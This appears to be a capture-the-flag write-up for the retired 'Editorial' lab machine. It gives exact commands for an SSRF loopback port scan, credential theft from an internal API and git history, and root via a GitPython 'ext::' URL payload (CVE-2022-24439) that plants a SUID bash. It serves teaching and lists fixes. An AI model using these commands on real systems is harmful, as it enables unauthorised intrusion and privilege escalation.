Editorial
Summary
I found a book-publishing web application on port 80 whose cover-image upload form made outbound HTTP requests to any supplied URL, including loopback addresses. By pointing the field at internal ports I discovered an undocumented Flask API on localhost:5000 that returned plaintext developer credentials in its response body.
Those credentials opened an SSH session as the 'dev' user. Inside dev's home directory sat a git repository whose commit history contained the production account password committed in clear text.
Logging in as 'prod' revealed a sudo rule granting that account the right to run a Python cloning script as root. The script used a vulnerable version of GitPython that executes shell commands embedded in 'ext::' git URLs (CVE-2022-24439); supplying a malicious URL caused the script to run my own shell payload as root, yielding full system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET editorial.htb" | sudo tee -a /etc/hostsnmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt $TARGETcurl -si http://editorial.htb/ | head -40Exact commands 3
for port in $(seq 1 10000); do result=$(curl -s -X POST http://editorial.htb/upload-cover -d "bookurl=http://127.0.0.1:${port}/" | grep -oP '/static/uploads/[^"]+'); [ -n "$result" ] && echo "HIT port $port -> $result" && break; donecurl -s -X POST http://editorial.htb/upload-cover -d 'bookurl=http://127.0.0.1:5000/' | grep -oP '/static/uploads/[^"]+' | head -1curl -s http://editorial.htb/<returned_path> | python3 -m json.toolFixBlock server-side requests to loopback and private network addressesHigh
Exact commands 2
curl -s -X POST http://editorial.htb/upload-cover -d 'bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors' | grep -oP '/static/uploads/[^"]+' | head -1curl -s http://editorial.htb/<returned_path> | python3 -m json.toolFixRemove credentials from API responses and require authentication on all internal endpointsCritical
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev@$TARGETcat ~/user.txtExact commands 3
cd ~/apps && git log --all --onelinegit show <commit_hash>sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null prod@$TARGETFixPurge credentials from git history and enforce secret scanning in CIHigh
Exact commands 4
sudo -lprintf '%s\n' '#!/bin/bash' 'cp /bin/bash /tmp/rootbash' 'chown root:root /tmp/rootbash' 'chmod 4755 /tmp/rootbash' > /dev/shm/x.sh && chmod +x /dev/shm/x.shecho '[REDACTED: recovered credential]' | sudo -S /usr/bin/python3 /opt/internal_apps/clone_chan 'ext::sh -c /dev/shm/x.sh@ /dev/null'/tmp/rootbash -p -c 'cat /root/root.txt'FixUpgrade GitPython, remove the over-privileged sudo rule, and validate repository URLsCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |